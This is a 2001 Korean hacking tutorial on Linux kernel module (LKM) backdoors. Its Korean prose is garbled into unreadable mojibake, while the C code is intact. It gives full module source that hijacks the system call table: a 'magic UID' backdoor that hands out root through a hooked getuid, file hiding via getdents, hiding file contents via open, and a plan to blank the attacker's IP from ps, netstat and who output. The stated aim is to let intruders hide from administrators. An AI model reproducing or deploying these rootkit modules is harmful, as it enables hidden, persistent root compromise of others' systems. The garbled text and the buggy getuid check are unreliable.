====================================================================================== Title : LKM (Linux Kernel Module) Backdooring Author : TrueFinder , IGRUS & khdp.org (ROK) e-mail : seo@igrus.inha.ac.kr Update : 2001/3/2, 2001/3/23 ====================================================================================== INDEX 0. Preface 1. Linux Kernel Module 2. Basic Code "Hello world" 3. Intercept System Call 4. Magic UID Backdoor 5. Hiding Files 6. Hiding Contents 7. Fake Log 8. Hiding Process 9. Redirect Excutable File 10. Socket System Call 11. Tty Hijacking 12. Post script 13. Conf EOF_INDEX CONTENTS 0. Preface --------- ¿ì¸®°¡ »ç¿ëÇÏ´Â ¹éµµ¾î´Â ¾ÆÁÖ ÁöÁ®ºÐÇÑ »óÅ·Πadminµé¿¡°Ô ½±°Ô ³ëÃâµÉ ¼ö ÀÖ¾ú´Ù. ÇØÄ¿µéÀº ´õ ±ú²ýÇϰí, ±ò²ûÇÑ ¹éµµ¾î¸¦ ¿øÇÏ´Â ½ÃÁ¡¿¡ À̸£·¶°í, ±×µéÀÌ ÀÌÁ¦ kernel moduleÀ» ÀÌ¿ëÇÑ backdoor¿¡ ÁÖÀǸ¦ ±â¿ïÀÌ°Ô µÇ¾ú´Ù. ±Ù·¡ ¹éµµ¾îµéÀº ÀÌÁ¦ ÇÑ ´Ü°èÀÇ ÁøÀüÀ» ÀÌ·ç¾î kernel¸ðµå¿¡¼­ ÀÛµ¿ÇÑ´Ù. LKM ¹éµµ¾î´Â ÇÁ·Î¼¼½º¿Í È­ÀÏÀ» ¿Ïº®ÇÏ°Ô °¨Ãß°í, ¿ì¸®¿Í °ü·ÃÇÑ ·Î±×¸¦ ÅëÁ¦Çϸç, ½ÉÁö¾î´Â ¾ÆÁÖ Æ¯¼öÇÑ È¯°æ¿¡¼­ ÇØÄ¿¿¡°Ô ¿Ïº®ÇÑ ±ÇÇÑÀ» Áã¿öÁØ´Ù. º» ¹®¼­¿¡¼­´Â ¾î¶»°Ô ±×·¯ÇÑ ÀÏÀ» ¹ß»ý ½Ãų¼ö ÀÖÀ¸¸ç, ±× ¿ø¸®¸¦ ¼Ò½º¸¦ ÅëÇØ ã¾Æ º¸µµ·Ï ÇϰڴÙ. ( º» ¼Ò½º´Â linux kernel 2.2.x ȯ°æÇÏ¿¡¼­ÀÌ´Ù. 2.0.x¿¡¼­ÀÇ ¼Ò½º´Â ´Ù·çÁö ¾Ê´Â´Ù.) 1. Linux Kernel Module ----------------------- linux kernel moduleÀº kernelÀÚ½ÅÀÌ ±× ´É·ÂÀ» È®ÀåÇϱâ À§ÇØ °í¾ÈµÈ ÀÏÁ¾ÀÇ ÀåÂø±¸Á¶»óÀÇ È®ÀåÆÑ Á¤µµ¶ó°í º¸¸é ¾Ë¸Â°Ú´Ù. À̰ÍÀº kernelÀ» ´Ù½Ã Àç ÄÄÆÄÀÏÇÒ ÇÊ¿ä¾øÀÌ Ä¿³ÎÀ» ¼öÁ¤ÇÏ¿© »ç¿ë ÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ À̰ÍÀº ¾ÆÁÖ µ¿ÀûÀ¸·Î ·ÎµåµÇ°Å³ª ÇØÃ¤µÇ¾î Áú¼ö ÀÖ´Ù. À̸¦ Å×¸é ¿ì¸®°¡ ·£Ä«µå¸¦ »õ·Î »ç¿Í¼­ ³¢¿ö ³Ö¾úÀ»¶§ ¿ì¸®´Â ±âÁ¸ÀÇ ¿ì¸® kernelÀ» ÀçÄÄÆÄÀÏ ÇÒ Çʿ䰡 ¾ø´Ù. ´ÜÁö ±× ·£Ä«µå¸¦ Áö¿øÇÏ°Ô ±¸¼ºµÇ¾îÀÖ´Â ¸ñÀûÈ­ÀÏÀ» ¸ðµâ·Î½á Ä¿³Î¿¡ ¿Ã·ÁÁÜÀ¸·Î½á ¿ì¸®ÀÇ ÇÒ ÀÏÀ» ÁÙÀÏ ¼ö°¡ ÀÖ´Â °Íó·³. 2. Basic Code "Hello world" --------------------------- Linux kernel moduleÀº ´ëÃæ ´ÙÀ½ÀÇ ±¸Á¶¸¦ °®´Â´Ù. int init_module(void) { ... } void clean_module(void) { ... } ÇÔ¼ö init_moduleÀº ¸ðµâÀÇ ÃʱâÈ­¸¦ ÇÏ´Â °÷ÀÌ´Ù. ¿ì¸® ¼öÆÛÀ¯Àú°¡ insmod ¸¦ ÅëÇØ Ä¿³Î¿¡ ¿ì¸®ÀÇ Ä¿³Î ¸ðµâ ¿ÀºêÁ§Æ®¸¦ ¿Ã¸±¶§ ù¹øÂ°·Î ¼öÇàµÇ´Â ºÎºÐÀÌ´Ù. ¸¶Âú°¡Áö·Î clean_moduleÀº ¿Ã·ÁÁø moduleÀ» Á¦°ÅÇÒ¶§ È£ÃâµÇ´Â ÇÔ¼ö°¡ µÈ´Ù. ½ÇÁ¦ Hello world¸¦ printk·Î Ãâ·ÂÇÏ´Â ¼Ò½º¸¦ º¸¸é¼­ Ä¿³Î ¸ðµâ¿¡ ´ëÇÑ µ¿ÀÛ¿ø¸®¸¦ »ìÆìº¸ÀÚ. ¾Æ¿ï·¯ À̸¦ ½ÇÇàÇϰí ÄÄÆÄÀÏÇÏ´Â ¿¹±îÁö °°ÀÌ º¼°ÍÀÌ´Ù. ++ hello.c ++ /* * hello.c */ #define MODULE #define __KERNEL__ #include #include int init_module(void) { printk("Hello world\n"); return 0; } void clean_module(void) { printk("It cleaned from kernel\n"); } -- hello.c -- ¿ì¸®´Â À§ ¼Ò½º¸¦ ´ÙÀ½°ú °°ÀÌ ¼öÇà°úÁ¤À» ÇÔÀ¸·Î½á ¿ì¸®°¡ ¿øÇÏ´Â °á°ú¸¦ ¾òÀ»¼ö ÀÖ´Ù. #gcc -c hello.c -O3 -Wall #/sbin/insmod hello ¿ì¸®ÀÇ Ã¹¹øÂ° ¸ðµâÀÌ kernel¿¡ ¿Ã¶ó°¡°Ô µÇ¾ú´Ù. À̸¦ È®ÀÎ ÇÏ·Á¸é, /sbin/lsmod ÇßÀ» ¶§ ¿ì¸®ÀÇ hello°¡ ¶°ÀÖ´ÂÁö¸¦ È®ÀÎÇÏ¸é µÈ´Ù. dmesg |tail ·Î "Hello world" ¹®ÀÚ¿­À» È®ÀÎÇÏÀÚ. ÀÌ´Â ¿ì¸®ÀÇ ¸ðµâÀÌ Ã³À½ Ä¿³Î¿¡ ¼³Ä¡µÇ¸é¼­ init_moduleÀÌ ¼öÇàµÇ°í , printkÇÔ¼ö°¡ È£ÃâµÇ¾î kernelÀÌ ³²±â´Â ¸Þ½ÃÁöÀÎ dmesg¿¡ ¿ì¸®°¡ Áö½ÃÇÑ Ãâ·Â°á°ú¸¦ º¸¿©ÁÖ°Ô µÈ´Ù. ÀÌÈÄ /sbin/rmmod hello Çϸ鼭 dmesg¸¦ È®ÀÎÇÏÀÚ. À̶§ clean_moduleÀÌ È£ÃâµÇ¸é¼­ printk¸¦ ¼öÇàÇÑ´Ù. ±×¸®°í À§¿¡ º¸ÀÌ´Â ¹Ù¿Í °°ÀÌ clean µÇ¾úÀ½À» ³ªÅ¸³»´Â ÇÑÁÙ ¹®ÀÚ¿­ÀÌ ±â·ÏµÈ´Ù. À̰ÍÀ¸·Î ¿ì¸®´Â helloÀÇ ±¸Á¶¿Í ÀÛµ¿¿ø¸®¸¦ °£´ÜÇÏ°Ô »ìÆì º¸¾Ò´Ù. insmod xxxx --> init_module() ¼öÇà. rmmod xxxx --> clean_module() ¼öÇà. ¶ÇÇÑ, ¿ì¸®ÀÇ ÇÁ·Î±×·¥ÀÌ kernel moduleÇÁ·Î±×·¥ÀÓÀ» ¾Ë¸®±â À§ÇØ À§Çì¼­ MODULE, __KERNEL__ À» ¹Ì¸® Á¤ÀÇÇØ ³õÀÚ. 3. Intercepte System Call ------------------------- ¿ì¸®´Â ¿ì¸®°¡ ¿øÇÏ´Â ½Ã½ºÅÛÄÝÀ» moduleÀ» ¿Ã¸®¸é¼­ °¡·Îç¼ö°¡ ÀÖ´Ù. ÀÌ´Â ¾ÕÀ¸·Î Àü°³ÇØ ³ª°¥ LKMÀÇ ÁÖ¿ä¿ø¸®°¡ µÈ´Ù. ++ intercept.c ++ #define MODULE #define __KERNEL__ #include #include #include extern void* sys_call_table[]; int (*orig_mkdir)(const char *path); /*the original systemcall*/ int hacked_mkdir(const char *path) { return 0; } int init_module(void) { orig_mkdir=sys_call_table[__NR_mkdir]; sys_call_table[__NR_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) { sys_call_table[__NR_mkdir]=orig_mkdir; } -- intercept.c -- Ä¿³ÎÀÌ »ç¿ëÇÏ´Â ÇÔ¼öÀÇ À§Ä¡´Â Àü¿ªº¯¼ö sys_call_table¿¡ Á¤ÀǵǾî ÀÖÀ¸¸ç, Ä¿³ÎÀº À̰÷À» ÂüÁ¶ÇÏ¿© °¢ ½Ã½ºÅÛ ÄÝ·çÆ¾ÀÇ À§Ä¡¸¦ ã¾Æ ½ÇÇàÇÏ°Ô µÇ¾îÀÖ´Ù. ¿ì¸®´Â ÀÌ Å×À̺íÀ» Á¢±ÙÇÒ¼ö ÀÖÀ¸¸ç, ÃæºÐÈ÷ ±âÁ¸ÀÇ system callÀÇ ÇÔ¼öÀ§Ä¡¸¦ ¿ì¸®ÀÇ °ÍÀ¸·Î ġȯ ÇÔÀ¸·Î½á ±× system callÀÇ È£Ãâ½Ã¿¡ ¿ì¸®ÀÇ ·çƾÀ» ¼öÇàÇÒ¼ö ÀÖ°Ô µÈ´Ù. À̸¦ Å׸é, ¿ì¸®°¡ µð·ºÅ丮¸¦ ¸¸µé¶§ Ä¿³ÎÀÌ È£ÃâÇÏ´Â mkdir·çƾÀº ÀÌ¹Ì ¿¹¾àµÇ¾î ÀÖ´Ù. sys_call_table[__NR_mkdir] ¸¸¾à ¿ì¸®°¡ ¿ì¸®ÀÇ ÇÔ¼ö¸¦ ¸ðµâ·Î ¶ç¿ö ³õÀºÈÄ ÀÌ À§Ä¡¿¡ ¿ì¸®ÀÇ ÇÔ¼ö¸¦ °¡¸£Å°´Â sysmbolÀ» °¡¸£Å°°Ô Çϸé, //int hacked_mkdir(const cahr *path) //{ // .... //} //int init_module(void) //{ // sys_call_table[__NR_mkdir] = hacked_mkdir; // .... //} ÇÁ·Î¼¼½º°¡ mkdirÀ» ÇßÀ»¶§ (mkdir ½Ã½ºÅÛÄÝÀÌ ÀÏ¾î ³µÀ»¶§) kernelÀº sys_call_tableÀ» ÂüÁ¶ÇÏ¿©, ¿ì¸®°¡ ÀÌ¹Ì ¼±¾ðÇØ³õÀº ÇÔ¼ö hacked_mkdir()À» È£ÃâÇÑ´Ù. ±×¸®°í ¿ì¸®´Â °¡·ÎäÁø mkdir()´ë½Å hacked_mkdir()¿¡¼­ ¿ì¸®ÀÇ ÀÛ¾÷À» ¼öÇàÇÒ¼ö ÀÖ´Ù. system callÀÇ interceptingÀº ÀÌ·±½ÄÀ¸·Î ÀÌ·ç¾î Áø´Ù. 4. Magic UID Backdoor --------------------- ´ÙÀ½À¸·Î ÀÌ·¯ÇÑ ¿ø¸®¸¦ ÀÌ¿ëÇÑ °£´ÜÇÑ Masic UID ¹éµµ¾î¸¦ ¸¸µé¾î º¼¼ö ÀÖ´Ù. ¿ì¸®ÀÇ ¿¡ÇÇŸÀÌÁ®ÀÌ´Ù. °¡º±°Ô ÈÈ¾î º¸ÀÚ. ++ masicuid.c ++ /* * masicuid.c */ #define MODULE #define __KERNEL__ #include #include #include #include #include #define MASICUID 500 extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid() { int tmp; if (current->uid=MASICUID) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*orig_getuid) (); return tmp; } int init_module(void) { orig_getuid=sys_call_table[__NR_getuid]; sys_call_table[__NR_getuid]=hacked_getuid; return 0; } void cleanup_module(void) { sys_call_table[__NR_getuid]=orig_getuid; } -- masicuid.c -- ¿©±â¼­ ¿ì¸®´Â getuid()½Ã½ºÅÛÄÝÀ» ġȯÇß´Ù. ¸¸¾à getuid()È£ÃâÀÌ ÀϾ´Â ÀÛ¾÷ÀÏ °æ¿ì userÀÇ uid°¡ 500¹øÀ϶§ ±× ÀÛ¾÷ÀÇ ¼öÇàÈÄ À¯Àú°¡ ·çÆ®°¡ µÇ´Â simpleÇÑ backdoor¶ó°í º¼ ¼ö ÀÖ°Ú´Ù. ÇöÁ¦ ÇÁ·Î¼¼½º¸¦ °¡¸£Å°´Â linuxÀÇ current ¸ÅÅ©·Î·Î ºÎÅÍ ±× ÇÁ·Î¼¼½º¸¦ ½ÇÇàÇÏ´Â À¯Àú¿¡ ´ëÇÑ Á¢±ÙÀ» ÇÒ ¼ö ÀÖ´Ù. À¯ÀúÀÇ È­Àϵð½ºÅ©¸³ÅÍ fd, ¸Þ¸ð¸®¿µ¿ª mm, ±âŸ ±ÇÇÑ... ¿©±â¼­´Â uid, euid, gid, egid¸¦ 0·Î º¯È­ ½ÃÄÑ getuid()¸¦ È£ÃâÇÏ´Â UID 500dml user°¡ root°¡ µÇ°Ô ÇÏ¿´´Ù. ¿ì¸®°¡ login½Ã¿¡ loginÀº getuid¸¦ È£ÃâÇÏ°Ô µÇ´Âµ¥, À̶§ ¿ì¸®ÀÇ uid°¡ 500À̸é, ±×´ë·Î root #ÀÌ µÇ´Â °ÍÀÌ´Ù. ½ÇÁ¦·Î ÇØº¸¶ó. ±²ÀåÈ÷ À¯ÄèÇÏ°Ô Áñ°Ì´Ù. ¿©±â¼­ ÇѰ¡Áö, °¢ ½Ã½ºÅÛ À¯Æ¿¸®Æ¼µéÀÌ OS¿¡ ¿äûÇÏ´Â ½Ã½ºÅÛ ÄÝÀº straceÀ¯Æ¿¸®Æ¼·Î È®ÀÎ ÇÒ ¼öÀÖ´Ù. ¿¹¸¦ µé¾î ls°¡ ¿äûÇÏ´Â ½Ã½ºÅÛÄÝÀº ´ÙÀ½°ú °°´Ù. [seo@richard tmp]$ strace ls execve("/bin/ls", ["ls"], [/* 28 vars */]) = 0 brk(0) = 0x8054a30 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 mmap(0, 18278, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096 mmap(0, 987356, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000 mprotect(0x40103000, 28892, PROT_NONE) = 0 mmap(0x40103000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xe9000) = 0x40103000 mmap(0x40107000, 12508, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40107000 close(3) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4010b000 mprotect(0x40019000, 958464, PROT_READ|PROT_WRITE) = 0 mprotect(0x40019000, 958464, PROT_READ|PROT_EXEC) = 0 munmap(0x40014000, 18278) = 0 personality(PER_LINUX) = 0 getpid() = 1667 brk(0) = 0x8054a30 brk(0x8054bd0) = 0x8054bd0 brk(0x8055000) = 0x8055000 open("/usr/share/locale/locale.alias", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000 read(3, "# Locale name alias data base.\n"..., 4096) = 2148 brk(0x8056000) = 0x8056000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x40014000, 4096) = 0 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ko/LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 close(3) = 0 open("/usr/share/locale/ko/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 mmap(0, 42, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000 close(3) = 0 open("/usr/share/locale/ko/LC_MONETARY", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 mmap(0, 93, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000 close(3) = 0 open("/usr/share/locale/ko/LC_COLLATE", O_RDONLY) = 3 fstat(3, {st_mode=S_ISVTX|0342, st_size=0, ...}) = 0 mmap(0, 784979, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4010c000 close(3) = 0 open("/usr/share/locale/ko/LC_TIME", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 mmap(0, 508, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 close(3) = 0 open("/usr/share/locale/ko/LC_NUMERIC", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 mmap(0, 27, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000 close(3) = 0 open("/usr/share/locale/ko/LC_CTYPE", O_RDONLY) = 3 fstat(3, {st_mode=S_ISVTX|051, st_size=0, ...}) = 0 mmap(0, 263142, PROT_READ, MAP_PRIVATE, 3, 0) = 0x401cc000 close(3) = 0 time(NULL) = 985428616 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=34, ws_col=104, ws_xpixel=33, ws_ypixel=0}) = 0 brk(0x8059000) = 0x8059000 open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOTDIR (Not a directory) open(".", O_RDONLY|O_NONBLOCK|0x10000) = 3 fstat(3, {st_mode=0, st_size=0, ...}) = 0 fcntl(3, F_SETFD, FD_CLOEXEC) = 0 brk(0x805b000) = 0x805b000 getdents(3, 0 48 12 48 28 48 /* 3 entries */, 3391) = 48 getdents(3, /* 0 entries */, 3391) = 0 close(3) = 0 fstat(1, {st_mode=S_IFREG|S_ISUID, st_size=0, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0 write(1, "fuck.c\n", 7fuck.c ) = 7 close(1) = 0 munmap(0x40018000, 4096) = 0 _exit(0) = ? % ls¿¡¼­ÀÇ ÇÙ½É system callÀº getdents()ÀÌ´Ù. 5. Hiding Files --------------- ÇØÄ¿´Â ¾î´À ¼ø°£¿¡³ª ½Ã½ºÅÛ¿¡¼­ ÀÚ½ÅÀÇ ÀÚÃ븦 °¨Ãß¾î¾ß ÇÑ´Ù. ÀÛ¾÷À» Çϰí ÀÖ´Â ¶§, ½Ã½ºÅÛÀ» °æÀ¯ÇÏ´Â ¶§, ȤÀº ¾ÆÁÖ °£´ÜÈ÷ ±× ½Ã½ºÅÛÀ» µÑ·¯º¸´Â ¶§¶óµµ... ±×·¯±â À§ÇØ ÀÌ ¼½¼Ç ¾Æ·¡¿¡¼­ ´Ù·ç¾îÁú ÄÚµåµéÀº ¹Ù·Î onlineÀ¸·Î ÀÚ½ÅÀÇ ÀÚÃ븦 °¨Ãß´Â °ÍÀ» ´Ù·é´Ù°í ÇϰڴÙ. ÇØÄ¿°¡ ÀÚ½ÅÀÇ "ÀÛ¾÷È­ÀÏ"À» ½Ã½ºÅÛ¿¡¼­ ´ã¹è¿¬±â »ç¶óÁöµí ±× ´©±¸¿¡°Ôµµ (½ÉÁö¾î´Â sysadmin¿¡°Ô ±îÁö) ¾Èº¸ÀÌ°Ô ÇÏ´Â ±â¼úÀ» ÀǿܷΠ°£´ÜÇÏ´Ù. ls½Ã È£ÃâµÇ´Â system callÀÎ getdentsÀÇ È£ÃâÀ» °¡·Îä¼­ ¿ì¸®ÀÇ È­ÀÏ À̸§ÀÌ °ËÃâµÇ´Â entryÆ÷ÀÎÅ͸¦ °Ç³Ê¶Ù¾î »ç¿ëÀÚ¿¡°Ô Ãâ·Â ½ÃÄÑÁÖ¸é ±×¸¸ÀÌ´Ù. ++hide_file.c++ /* * hide_file.c * * getdents()ÀÇ ½Ã½ºÅÛ È£ÃâÀ» °¡·Îä¼­, userµð½ºÅ©¸³ÅÍ¿¡ ÀÖ´Â ³»¿ë¿¡ Á¢±Ù. * ¿ì¸®ÀÇ È­ÀÏÀÌ ¹ß°ßµÉ °æ¿ì, ±× ¿£Æ®¸®¸¦ »©°í, dirent¸¦ ±¸¼º. * user¿¡°Ô ³Ñ°ÜÁÜ. * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc =0; struct inode *dinode; struct dirent *dirp2, *dirp3; char hide[] = "ourtool"; // »ç¿ëÀÚ file descriptor¿¡¼­ dirÀ» Àоî¿È. tmp = (*orig_getdents) (fd, dirp, count); dinode = current->files->fd[fd]->f_dentry->d_inode; if( tmp > 0 ) { // dirp2¿¡ µð·ºÅ丮¿µ¿ª ¸Þ¸ð¸®¸¶·Ã. dirpÀÇ ³»¿ë dirp2¿¡ º¹»ç. dirp2 = (struct dirent *)kmalloc(tmp, GFP_KERNEL); copy_from_user(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while( t > 0) { n = dirp3->d_reclen; t -= n; //hide_file°ËÃâµÉ °æ¿ì. if( strstr((char*)&(dirp3->d_name), (char *)&hide ) != NULL ) { //hide_fileµÚÀÇ ³»¿ëÀ» dirp3¿¢¼¼½º Æ÷ÀÎÅÍÀ§Ä¡¿¡ ¿Å±è. if( t != 0) memmove(dirp3, (char *)dirp3 + dirp3->d_reclen, t ); else dirp3->d_off = 1024; tmp -= n; } // . , ..ÀÇ °æ¿ì ºüÁ®³ª¿Å. if( dirp3->d_reclen == 0) { tmp -= t; t = 0; } // hide_fileÀÌ ¾Æ´Ñ°æ¿ì ´ÙÀ½ ¿£Æ®¸® °Ë»ö. if( t!=0) dirp3 = (struct dirent*)( (char*) dirp3+dirp3->d_reclen ); } // À§ ³»¿ëÀ» dirp¿¡ ¿Å±è. copy_to_user(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module() { orig_getdents = sys_call_table[__NR_getdents]; sys_call_table[__NR_getdents] = hacked_getdents; return 0; } void cleanup_module() { sys_call_table[__NR_getdents] = orig_getdents; } -- hide_file.c -- Ä¿³Î ½ºÆäÀ̽º¿¡ °üÇÑ Á¤º¸¿Í, getdents()ÀÇ È£ÃâÀº °¢ÀÚ ÀÚ¼¼È÷ Âü°íÇϱ⠹ٶõ´Ù. ÇѰ¡Áö, Ä¿³ÎÀº user space¿¡ ´ëÇÑ Á¢±ÙÀÌ ¿ëÀÌÇÏÁö ¾Ê´Ù. µû¶ó¼­ kernel mode¿¡¼­ ÀÛ¾÷À» ÇÏ·Á¸é kernel memory¸¦ ¿¹¾àÇØ¾ß¸¸ Çϰí, ±×°ÍÀÌ kmalloc()ÀÌ´Ù. ¶ÇÇÑ ÀÌ °á°ú¸¦ Çö À¯ÀúÀÇ memory¿¡ ³Ñ°ÜÁÖ±âÀ§ÇØ ´ÙÀ½°ú °°Àº ÇÔ¼ö¸¦ »ç¿ëÇÑ´Ù. copy_from_user(); // user mode data -> kernel mode data copy_to_user(); // kernel mode data -> user mode data ½ÇÁ¦·Î À§¿¡¼­ Á¤ÀÇÇÑ hide_file "ourtool"À̶õ È­ÀÏÀ» Çö µð·ºÅ丮¿¡ ¸¸µé°í, ÄÄÆÄÀÏÇÑ Ä¿³Î ¸ðµâÀ» ¿Ã·Áº»ÈÄ lsÀ» ÇØº¸±â ¹Ù¶õ´Ù. ¿ì¸®ÀÇ È­ÀÏÀº °¨Âʰ°ÀÌ »ç¶óÁ® ÀÖÀ» °ÍÀÌ´Ù. 6. Hide File Content -------------------- ÇÏÁö¸¸ ¿ì¸®ÀÇ hide_fileÀº ÄÁÅÙÃ÷°¡ user¿¡ ÀÇÇØ º¸ÀδÙ. ¸¸¾à sysadminÀÌ ¿ì¸® È­ÀÏÀ̸§À» ¾Ë°í ÀÖÀ»¶§ ¿ì¸®ÀÇ È­ÀÏÀº ´Ü¼øÈ÷ "cat xxxxx"¿¡ ÀÇÇØ ¹ß°ßµÈ´Ù. ½ÇÁ¦·Î ¿ì¸®ÀÇ È­ÀÏÀº °¨Âʰ°ÀÌ »ç¶óÁø °ÍÀº ¾Æ´Ï´Ù. ¿ì¸® È­ÀÏÀº ºÐ¸í Á¸ÀçÇÏÁö¸¸, ´ÜÁö directory »ó¿¡ º¸ÀÌÁö ¾Ê´Â °ÍÀÏ »ÓÀÌ´Ù. ÀÌ´Â ÇØÄ¿¿¡°Ô ÂòÂòÇÑ ÀÏÀÌ´Ù. À̸¦ ÇØ°áÇÒ ¼ö ÀÖ´Â ¾Æ·¡ Äڵ带 º¸ÀÚ. ¸¶Âú°¡Áö·Î open()À» °¡·Îä¼­ ¿ì¸® È­ÀÏÀÇ À̸§ÀÌ °ËÃâµÇ¸é, fileÀÌ Á¸ÀçÇÏÁö ¾Ê´Â´Ù´Â ¿¡·¯¸¦ ¹ß»ý½ÃÄѼ­ process¸¦ ÁߴܽÃŲ´Ù. ¿¡·¯°¡ ¹ß»ýÇÔÀ¸·Î ¿ì¸®ÀÇ È­ÀÏÀº ´©±¸µµ º¼¼ö°¡ ¾ø´Ù. ++ hide_content.c ++ /* * hide_content.c * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include extern void *sys_call_table[]; int (*orig_open)( const char *pathname, int flag, mode_t mode ); int hacked_open(const char *pathname, int flag, mode_t mode ) { char *kernel_pathname; char hide[] = "ourtool"; kernel_pathname = (char*) kmalloc( 256, GFP_KERNEL); copy_from_user( kernel_pathname, pathname, 255 ); if( strstr(kernel_pathname, (char*)&hide) != NULL ) { kfree(kernel_pathname); return -ENOENT; } else { kfree(kernel_pathname); return orig_open(pathname, flag, mode ); } } int init_module() { orig_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = hacked_open; return 0; } void cleanup_module() { sys_call_table[__NR_open] = orig_open; } -- hide_content.c -- ÀÌÁ¦ ¿ì¸®ÀÇ È­ÀÏÀº ¿Ïº®ÇÏ°Ô °¨Ãß¾îÁ®ÀÖ´Ù. ¿ì¸®´Â ¿ì¸®ÀÇ Ä¿³Î¸ðµâÀ» ¿Ã¸®°í, ³»¸®°í ÇÔÀ¸·Î½á ¿ì¸®ÀÇ È­ÀÏÀ» °¨Ãß´Â ÁþÀ» ¿Ïº®ÇÏ°Ô ÇØ³¾ ¼ö ÀÖ´Ù. 7. Fake Log ----------- ps, netstat , finger , w, who .... ÀÌ·¯ÇÑ À¯Æ¿¸®Æ¼µéÀº ÇØÄ¿ÀÇ Á¸À縦 ¾ÆÁÖ ½±°Ô µå·¯³½´Ù. @$@##$%$!@!#$ ÀÌ¿¡ ´ëóÇÑ ÇØÄ¿ÀÇ ¿¹Àü ¹æ¹ýÀº Á÷Á¢ ±×µéÀÇ Äڵ带 Â¥¼­ À§ ÇÁ·Î±×·¥À» ġȯ ÇÏ´Â °ÍÀ̾ú´Ù. !@#$@#$$%@#$@$ À̸¦ linux rootkitÀ̶ó°í ºÎ¸¥´Ù. ƯÁ¤ ¾ÆÀ̵ð, ¾ÆÀÌÇÇ, ÇÁ·Î¼¼½º¸¦ »ç¿ëÀÚ Ãâ·Â¿¡¼­ Á¦¿ÜÇÏ°Ô ÇÑ ÇÁ·Î±×·¥µéÀÌ ¾ú´Ù. ±×·¯³ª À̰ÍÀº ±²ÀåÈ÷ ÁöÁ®ºÐÇÑ ¹æ½ÄÀÏ »Ó¸¸ ¾Æ´Ï¶ó, sysadmin¿¡°Ô MD5¶ó´Â hash¸¦ ÅëÇØ ¹ß°ßµÇ±â ½±´Ù. Ä¿³Î ¸ðµâÀ» ÅëÇÑ AdvancedÇÑ ¹æ¹ýÀ» ã¾Æº¸ÀÚ. °á±¹ ¹«¾ùÀΰ¡¸¦ Ãâ·ÂÇÏ´Â °ÍÀº ioctl¿¡ ÀÇÇÑ µð¹ÙÀ̽º¿¡ ¹º°¡¸¦ ¾²´Â ÀÏ(write())ÀÏ »ÓÀÌ´Ù. ½Ã½ºÅÛÀÌ ¿ì¸®ÀÇ Å͹̳¯¿¡ Ãâ·ÂÀ» ÇÏ´Â °Íµµ ttyp? ¿¡ writeÇÏ´Â °ÍÀ¸·Î °£´ÜÇÏ°Ô ¼³¸í µÇ¾î Áú¼ö ÀÖ´Ù. ±×·¯¸é, ¿ì¸®ÀÇ ÀÛ¾÷À» ¿©±â¼­ ½ÃÀÛÇØº¸ÀÚ. write()¸¦ °¡·Îä°í, writeÈ£ÃâÀÌ ÀÖÀ» ½Ã¸¶´Ù, ¿ì¸®ÀÇ Æ¯Á¤ ½ºÆ®¸µ( id, ip, process)°¡ ¹ß°ßµÇ´Â °¡¸¦ °Ë»öÇϰí, ¸¸¾à ÀÖÀ¸¸é ±×°ÍÀ» ´Ù¸¥ ¹®ÀÚ¿­ , À̸¦ Å׸é " " °°ÀÌ °ø¹éÀ¸·Î ä¿ì´Â ¹æ¹ýÀ» ÅÃÇØ º¸ÀÚ. ¿ì¸®´Â writeÈ£ÃâÀ» ġȯÇÔÀ¸·Î½á ¿ì¸®ÀÇ ip¸¦ Àý´ë ´Ù¸¥°÷À¸·Î ³ëÃâ½ÃŰÁö ¾ÊÀ»¼ö ÀÖ´Ù. ¿ì¸®ÀÇ ÁöÁ¤µÈ ip´Â " "À¸·Î ġȯµÈ´Ù. 